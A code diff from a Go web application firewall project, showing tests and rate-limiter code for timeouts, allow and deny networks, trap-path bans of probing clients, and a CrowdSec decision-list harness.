rq.h.metrics.RequestReported(&rq.line,
time.Duration(report.DurationTotal*float64(time.Millisecond)),
time.Duration(report.DurationUpstreamTotal*float64(time.Millisecond)))
}
rq.writeLine()
}
internal/proxy/servewaf_test.go
-1609
View File
File diff suppressed because it is too large Load Diff
internal/proxy/staticlists_test.go
+17 -5
View File
@@ -17,7 +17,7 @@ const (
unlistedAddr = "2001:db8::2"
)
func TestAllowNetsSkipEveryCheck(t *testing.T) {
func TestAllowNetsSkipEveryCheckButTheSizeLimit(t *testing.T) {
t.Parallel()
var calls atomic.Int32
@@ -34,6 +34,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
denyNets: fromKP,
deniedCountries: "kp",
rateLimitPerMinute: "1",
requestMaxBytes: "1K",
})
// Neither SWWAF_DENY_NETS, the country lists nor the limit of one
@@ -48,6 +49,14 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
t.Errorf("GeoJS was asked about %v, want nothing", asked())
}
// The size limit still applies.
body := strings.NewReader(strings.Repeat("a", 2<<10))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set(forwardedFor, fromKP)
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
wantLine(t, out.requestLines(t, 3)[2],
http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
if calls.Load() != 2 {
t.Errorf("the app was called %d times, want 2", calls.Load())
}
@@ -73,7 +82,7 @@ func TestRequestFromAllowNetsIsNotCounted(t *testing.T) {
})
}
func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
func TestDenyNetsRefuseBeforeTheLookupAndTheBody(t *testing.T) {
t.Parallel()
var calls atomic.Int32
@@ -92,9 +101,13 @@ func TestDenyNetsRefuseBeforeTheLookup(t *testing.T) {
req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusForbidden)
line := out.endedLine(t)
line := out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionDenied)
if line.RequestBytes != 0 {
t.Errorf("log line has request_bytes %d, want 0", line.RequestBytes)
}
if len(asked()) != 0 {
t.Errorf("GeoJS was asked about %v, want nothing", asked())
}
@@ -131,7 +144,6 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP,
deniedCountries: "kp",
rateLimitPerMinute: "1",
@@ -167,6 +179,6 @@ func wantAnswers(t *testing.T, addr string, out *output, requests []sentRequest)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, sent.client)
wantStatus(t, do(t, req), sent.status)
wantLine(t, out.endedLines(t, i+1)[i], sent.status, sent.action)
wantLine(t, out.requestLines(t, i+1)[i], sent.status, sent.action)
}
}
internal/proxy/timeouts_test.go
+307
View File
@@ -0,0 +1,307 @@
package proxy_test
import (
"errors"
"io"
"net"
"net/http"
"net/http/httptest"
"strconv"
"sync"
"sync/atomic"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// largeBodySize is more than the connections between the client,
// smallwebwaf and the app can hold while nobody reads, so that a sender
// soon waits.
const largeBodySize = 64 << 20
// writeSize is how much a test sender writes at a time.
const writeSize = 32 << 10
func TestRequestTimeouts(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// limit is the setting set to shortTimeout, which runs out; long
// is one set to longTimeoutSetting, which does not, or "".
limit, long string
// appTakesNothing has the app never read, while the client sends
// as fast as it can; otherwise the app reads, and the client
// stops sending halfway.
appTakesNothing bool
want int
}{
{
name: "client request timeout, waiting on the client",
limit: clientRequestTimeout,
want: http.StatusRequestTimeout,
},
{
name: "upstream request timeout, waiting on the client",
limit: upstreamRequestTimeout,
long: clientRequestTimeout,
want: http.StatusRequestTimeout,
},
{
name: "upstream request timeout, waiting on the app",
limit: upstreamRequestTimeout,
appTakesNothing: true,
want: http.StatusGatewayTimeout,
},
{
name: "client request timeout, waiting on the app",
limit: clientRequestTimeout,
long: upstreamRequestTimeout,
appTakesNothing: true,
want: http.StatusGatewayTimeout,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
var (
app *httptest.Server
appURL string
sendRequest func(*testing.T, string) net.Conn
appGotBody atomic.Bool
)
if tc.appTakesNothing {
appURL, sendRequest = startAppThatTakesNothing(t), sendLargeBody
} else {
app = startApp(t, func(_ http.ResponseWriter, r *http.Request) {
n, _ := io.Copy(io.Discard, r.Body)
appGotBody.Store(n > 0)
})
appURL, sendRequest = app.URL, sendPartOfBody
}
env := map[string]string{tc.limit: shortTimeoutSetting, metricsToken: token}
if tc.long != "" {
env[tc.long] = longTimeoutSetting
}
addr, out := startProxy(t, appURL, env)
start := time.Now()
got := readResponse(t, sendRequest(t, addr))
wantTimedOut(t, start)
want := tc.want
if app != nil {
// Close returns once the app has finished with the request.
app.Close()
// Until some of the body has reached the app, smallwebwaf
// waits on the app, and SPEC.md asks for 504; the timeout
// runs out then only if the test process is held up.
if !appGotBody.Load() {
want = http.StatusGatewayTimeout
}
}
wantStatus(t, got, want)
wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut)
wantLimitHits(t, addr, tc.limit, 1)
})
}
}
// startAppThatTakesNothing starts an app that accepts connections and
// never reads from them, and returns its URL.
func startAppThatTakesNothing(t *testing.T) string {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
var (
mu sync.Mutex
held []net.Conn
)
hold := func(conn net.Conn) {
mu.Lock()
defer mu.Unlock()
held = append(held, conn)
}
go func() {
for {
conn, err := listener.Accept()
if err != nil {
return
}
hold(conn)
}
}()
t.Cleanup(func() {
_ = listener.Close()
mu.Lock()
defer mu.Unlock()
for _, conn := range held {
_ = conn.Close()
}
})
return "http://" + listener.Addr().String()
}
// sendPartOfBody sends a request that announces a large body, and only
// the first bytes of it.
func sendPartOfBody(t *testing.T, addr string) net.Conn {
t.Helper()
conn := dial(t, addr)
send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+
strconv.Itoa(largeBodySize)+"\r\n\r\nthe first bytes")
return conn
}
// sendLargeBody sends a request with a large body, as fast as smallwebwaf
// takes it, from a goroutine of its own.
func sendLargeBody(t *testing.T, addr string) net.Conn {
t.Helper()
conn := dial(t, addr)
send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+
strconv.Itoa(largeBodySize)+"\r\n\r\n")
go func() {
chunk := make([]byte, writeSize)
for range largeBodySize / writeSize {
_, err := conn.Write(chunk)
if err != nil {
return
}
}
}()
return conn
}
func TestAppTooSlowToAnswer(t *testing.T) {
t.Parallel()
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
})
addr, out := startProxy(t, app.URL, map[string]string{
upstreamResponseTimeout: shortTimeoutSetting,
metricsToken: token,
})
start := time.Now()
wantStatus(t, get(t, addr, "/slow"), http.StatusGatewayTimeout)
wantTimedOut(t, start)
line := out.requestLine(t)
wantLine(t, line, http.StatusGatewayTimeout, requestlog.ActionTimedOut)
_, answered := line.fields["upstream_status"]
if answered {
t.Errorf("log line has upstream_status %v for an app that never answered",
line.fields["upstream_status"])
}
wantLimitHits(t, addr, upstreamResponseTimeout, 1)
}
func TestAppTooSlowToFinishItsAnswer(t *testing.T) {
t.Parallel()
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, _ = io.WriteString(w, "the first part")
_ = http.NewResponseController(w).Flush()
<-r.Context().Done()
})
addr, out := startProxy(t, app.URL, map[string]string{
upstreamResponseTimeout: shortTimeoutSetting,
})
start := time.Now()
got := get(t, addr, "/slow")
wantStatus(t, got, http.StatusOK)
if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) {
t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err)
}
wantTimedOut(t, start)
line := out.requestLine(t)
wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut)
if line.UpstreamStatus != http.StatusOK {
t.Errorf("log line has upstream_status %d, want %d",
line.UpstreamStatus, http.StatusOK)
}
}
func TestClientTooSlowToTakeTheAnswer(t *testing.T) {
t.Parallel()
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
chunk := make([]byte, writeSize)
for range largeBodySize / writeSize {
_, err := w.Write(chunk)
if err != nil {
return
}
}
})
addr, out := startProxy(t, app.URL, map[string]string{
clientResponseTimeout: shortTimeoutSetting,
metricsToken: token,
})
start := time.Now()
// The client asks, and never reads the answer.
conn := dial(t, addr)
send(t, conn, "GET /large HTTP/1.1\r\nHost: app\r\n\r\n")
line := out.requestLine(t)
wantTimedOut(t, start)
wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut)
wantLimitHits(t, addr, clientResponseTimeout, 1)
}
func TestClosesAnIdleConnection(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxy(t, app.URL, map[string]string{
clientIdleTimeout: shortTimeoutSetting,
})
// The idle time starts once the answer is sent, so after start.
start := time.Now()
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: app\r\n\r\n")
wantStatus(t, readResponse(t, conn), http.StatusOK)
// The read deadline readResponse set still bounds this read.
_, err := conn.Read(make([]byte, 1))
if !errors.Is(err, io.EOF) {
t.Fatalf("read on the idle connection: %v, want it closed", err)
}
wantTimedOut(t, start)
}
internal/proxy/trappaths_test.go
-130
View File
@@ -1,130 +0,0 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWWAF_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
// Only the path itself, the whole of it in the same case, is a trap
// path.
for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWWAF_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionBanned)
wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "asked for the trap path /wp-login.php",
Notes: bans.Notes{
TrapPath: "/wp-login.php",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/wp-login.php?redirect_to=x",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
// %2577 decodes once to %77, not to w.
s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned)
// The ban's notes give the path as the client sent it.
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
}
}
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWWAF_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
}
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
mode: observe,
})
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
// No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward)
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
internal/ratelimit/history_test.go
+2 -2
View File
@@ -23,8 +23,8 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
{Forwarded: true, Status: 502, ResponseBytes: 12},
// Closed without an answer: refused, and no response.
{Refused: true, Status: 0},
// Answered 404 for a path under /_smallwebwaf/: neither forwarded nor
// refused.
// Answered 404 at smallwebwaf's own endpoints: neither forwarded
// nor refused.
{Status: 404},
} {
limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
internal/ratelimit/ratelimit.go
+31 -91
View File
@@ -25,9 +25,6 @@ const (
KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
)
// Limits are the most requests a client may make in a minute, an hour and
@@ -53,20 +50,18 @@ type Limiter struct {
}
// Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history.
// of requests and of bytes in each window, and its history.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct {
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
MinuteRefusals Buckets `json:"minute_refusals"`
History History `json:"history"`
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
History History `json:"history"`
}
// Buckets are a client's two buckets in one window: the requests, or the
@@ -92,9 +87,10 @@ type History struct {
ASName string `json:"as_name,omitempty"`
Country string `json:"country,omitempty"`
LookedUp time.Time `json:"looked_up,omitzero"`
// Requests are all the client's requests: Forwarded those servewaf allowed,
// Refused those it refused, and neither those for a path under
// /_smallwebwaf/.
// Requests are all the client's requests: Forwarded those passed to
// the app, Refused those refused before anything reached it, a 401 at
// smallwebwaf's own endpoints included, and neither the others
// smallwebwaf answered there.
Requests int64 `json:"requests"`
Forwarded int64 `json:"forwarded"`
Refused int64 `json:"refused"`
@@ -120,23 +116,20 @@ type Responses struct {
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, RuleBlocked those a block
// rule refused, and WAFBlocked those the Core Rule Set refused.
// Limit is its requests that broke a rate limit or a byte limit,
// Attack those that matched a ban rule, a clear sign of attack, and
// RuleBlocked those a block rule refused.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
WAFBlocked int64 `json:"waf_blocked"`
// TokenRefused is what a clients.json written by an earlier version gives,
// which must still load. Nothing adds to it.
TokenRefused int64 `json:"token_refused,omitempty"`
}
// Request is what a client's history keeps of one of its requests.
type Request struct {
// Forwarded is true for a request servewaf allowed, and Refused for one it
// refused. Both are false for a request for a path under /_smallwebwaf/.
// Forwarded is true for a request passed to the app, Refused for one
// refused before anything reached it, a 401 at smallwebwaf's own
// endpoints included. Both are false for any other request smallwebwaf
// answered there.
Forwarded bool
Refused bool
// Status is what the client was sent, 0 if nothing was.
@@ -145,14 +138,12 @@ type Request struct {
// and of its response.
RequestBytes int64
ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, RuleBlocked for one a block rule refused, and
// WAFBlocked for one the Core Rule Set refused.
// BrokeLimit is true for a request that broke a rate limit or a byte
// limit, Attack for one that matched a ban rule, and RuleBlocked for
// one a block rule refused.
BrokeLimit bool
Attack bool
RuleBlocked bool
WAFBlocked bool
}
// New returns a Limiter for limits, with no client counted yet, whose
@@ -184,25 +175,24 @@ func New(limits Limits, maxClients int) *Limiter {
}
}
// Hit is a request that takes a client over a rate limit or the error
// burst, or whose bytes take it over a byte limit.
// Hit is a request that takes a client over a rate limit, or whose bytes
// take it over a byte limit.
type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst.
// Kind is KindRequests for a rate limit, KindBytes for a byte limit.
Kind string
// Window is "minute", "hour" or "day".
Window string
// Limit is the window's limit, as the client's percentage of it.
Limit int64
// Count is the client's requests, bytes or refusals counted in the
// window, this request's included.
// Count is the client's requests, or bytes, counted in the window,
// this request's included.
Count float64
}
// Counts are a client's requests and bytes in the minute, the hour and
// the day that end at a request, that request's included.
//
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case
type Counts struct {
Minute float64 `json:"minute"`
Hour float64 `json:"hour"`
@@ -224,30 +214,6 @@ func (l *Limiter) Count(
return l.count(client, now, 1, 0, percent)
}
// OverARateLimit reports whether one more request from client at now would
// take it over a whole rate limit. A client's percentage can only lower a
// limit, so that request is over the limit at any percentage. It counts
// nothing, and does not make the client the most recently seen.
func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
l.mu.Lock()
defer l.mu.Unlock()
c, seen := l.clients.Peek(client)
if !seen {
return false
}
buckets := c.buckets()
for i, w := range l.windows {
if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
return true
}
}
return false
}
// CountBytes counts bytes, those of a request from client that has ended,
// at now, in every window, and returns the client's counts in each window.
// It reports whether the bytes take the client over a byte limit, of which
@@ -258,25 +224,8 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent)
}
// CountRefusal counts a request from client at now that smallwebwaf
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
// every window back to zero. Its history keeps its totals.
// Reset sets client's counts of requests and of bytes in every window
// back to zero. Its history keeps its totals.
func (l *Limiter) Reset(client netip.Prefix) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -285,7 +234,6 @@ func (l *Limiter) Reset(client netip.Prefix) {
if seen {
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
c.MinuteRefusals = Buckets{}
}
}
@@ -326,10 +274,6 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
if r.RuleBlocked {
h.Offences.RuleBlocked++
}
if r.WAFBlocked {
h.Offences.WAFBlocked++
}
}
// AddLookup gives client's history its AS number, AS name and country, as
@@ -439,10 +383,6 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
}
}
if c.MinuteRefusals.Passed(now, time.Minute) {
c.MinuteRefusals = Buckets{}
}
l.clients.Add(c.Client, &c)
}
}
internal/ratelimit/ratelimit_test.go
-84
View File
@@ -26,50 +26,6 @@ const (
hour = "hour"
)
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
t.Parallel()
client := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
tableSize)
if limiter.OverARateLimit(client, now) {
t.Error("a client never seen is over a rate limit")
}
if limiter.Len() != 0 {
t.Error("asking about a client never seen added it to the table")
}
for range limit {
if limiter.OverARateLimit(client, now) {
t.Error("a client with room for another request is over a rate limit")
}
wantCount(t, limiter, client, now, "")
}
if !limiter.OverARateLimit(client, now) {
t.Error("a client at its limit is not over a rate limit")
}
held, _ := limiter.Client(client)
if held.Minute.Current != limit {
t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
}
wantCount(t, limiter, client, now, minute)
// A limit that is off is never gone over.
off := ratelimit.New(ratelimit.Limits{}, tableSize)
off.Count(client, now, whole)
if off.OverARateLimit(client, now) {
t.Error("a client is over a rate limit that is off")
}
}
func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
t.Parallel()
@@ -292,46 +248,6 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "")
}
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
}
}
hit, over := limiter.CountRefusal(client, start, limit)
want := ratelimit.Hit{
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
want)
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over)
}
// A ban sets them back to zero.
limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
}
}
func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
t.Parallel()
internal/ratelimit/snapshot_test.go
+6 -13
View File
@@ -65,7 +65,6 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter.Count(client, start, whole)
limiter.CountBytes(client, start, 5, whole)
limiter.CountRefusal(client, start, limit)
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
loaded := func(now time.Time) ratelimit.Client {
@@ -77,9 +76,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
return after.Snapshot()[0]
}
// Two minutes on, the window that ends then covers none of the
// minute's buckets, of requests, of bytes and of refusals, which are
// emptied; the hour's and the day's stay, and so does the history.
// Two minutes on, the window that ends then covers neither of the
// minute's buckets, of requests and of bytes, which are emptied; the
// hour's and the day's stay, and so does the history.
got := loaded(start.Add(2 * time.Minute))
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
got.Day.Current != 1 || got.History.Requests != 1 {
@@ -92,17 +91,11 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got.MinuteBytes, got.HourBytes, got.DayBytes)
}
if got.MinuteRefusals != (ratelimit.Buckets{}) {
t.Errorf("loaded two minutes on with buckets of refusals %+v",
got.MinuteRefusals)
}
// A moment before, the window still covers some of the earlier one.
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 {
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 {
t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v",
got.Minute, got.MinuteBytes)
}
}
internal/reputation/crowdsec_test.go
-513
View File
@@ -1,513 +0,0 @@
package reputation_test
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"reflect"
"strings"
"sync"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
// The tests run in a synctest bubble, as those of the blocklists do, and
// fetch the decision list from engine, a stand-in for a CrowdSec engine
// that answers without the network.
const (
// decisionsURL is the decision list of the tests' engine, and engineKey
// the key it answers.
decisionsURL = "http://crowdsec.example:8080/v1/decisions"
engineKey = "crowdsec-key-0123456789abcdef"
// sshBF and probing are scenarios of the engine's decisions.
sshBF = "crowdsecurity/ssh-bf"
probing = "crowdsecurity/http-probing"
// ban is the type of a decision to ban, and rangeScope the scope of a
// decision on a netblock, as CrowdSec names them.
ban = "ban"
rangeScope = "Range"
)
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
manual := "manual 'ban' from 'localhost'"
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
// A shorter decision on the same address, which is not the one
// used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
{"Country", "KP", ban, manual, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
for addr, want := range map[string]reputation.Decision{
suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual},
"198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing},
"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
"2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
"203.0.113.10": {},
"198.51.101.0": {},
"2001:db8::2": {},
"192.0.2.50": {},
} {
wantDecision(t, lists, addr, want)
}
// With the engine down, the copy kept still holds the decision on
// 198.51.100.0/24, which no longer bans once it has ended.
e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7",
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
})
}
func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1)
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
e.set(func(e *engine) {
e.decisions = append(e.decisions,
decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
})
time.Sleep(time.Minute - time.Nanosecond)
wantEngineFetches(t, e, 1)
wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
time.Sleep(time.Nanosecond)
wantEngineFetches(t, e, 2)
wantDecision(t, lists, "203.0.113.10", added)
})
}
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
// Two decisions on one address, the shorter listed first.
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
wantDecision(t, lists, "198.51.100.130",
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
wantDecision(t, lists, "192.0.2.20",
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
